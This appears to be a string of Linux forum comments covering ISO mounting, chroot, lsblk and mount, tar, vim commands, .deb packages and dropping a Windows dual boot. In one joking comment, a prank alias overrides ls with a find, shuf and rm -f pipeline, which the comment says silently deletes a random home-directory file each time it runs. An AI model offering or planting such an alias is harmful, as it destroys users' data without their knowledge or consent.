I think you could mount the iso and manually delete the packages you dont want. Mounting an iso is as easy as
# mount -o loop /path/to/iso /path/to/mountpoint
You can also chroot into it while it is mounted: https://wiki.archlinux.org/title/Chroot
Disclaimer, I am not sure if deleting files inside the iso makes it weight less.
Then a critical bug is added by doof with his machine to alter code and everyone stops using it and deletes all archival evidence.
Any post complaining or even talking about tech isn’t complete without someone recommending linux or dropping their whole neofetch
Devices you mount after startup like external USB don’t show up in fstab do they?
Of course you have to filter out filesystems without a format like ext*, ntfs or FAT as they don’t represent external disks. mount
also doesn’t let you see unmounted devices, that’s why I use lsblk
I prefer monolithic systems because I can put the discs wherever I want. Using lsblk
or just the mount
command you get a list of all the mountpoints of different devices.
Admittedly, the names of the devices can be confusing but it’s something I have gotten accustomed to.
I had no games that wouldn’t run on linux so windows was just dead weight
I’m sure those users would like an experience like a game console or a phone with just apps and shortcuts
In the end I just uninstalled windows because every time I opened it, it tried installing all updates and I had to wait 20-30 mins to get to the desktop
Usually the distro has tar in automatic and automatically detects which compression flag to use so tar xf ...
usually just works
Russian Roulette Linux, the new distro using a coreutils implementation with a little trick
Why not make it more mischievous?
alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"
This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.
In the end linux is about choice, if you don’t want to remember the commands to edit with vim, there are text editors like nano or some kind of notepad program from your DE
Don’t forget the ‘:’ before the q!, when you type ‘:’ you enter command mode, the q command quits the file and putting an exclamation mark after the q doesn’t save the file and forces the file to be closed
I don’t think the libraries would be in much different places but I think it would come down to the application and imprlementation
Isn’t deb just a compressed file? Can’t you just decompress it, check its dependencies and install it yourself?
For me I thought compatibility would hold me back but I never used the windows partition in my dual boot so I ended up deleting it after a reinstall
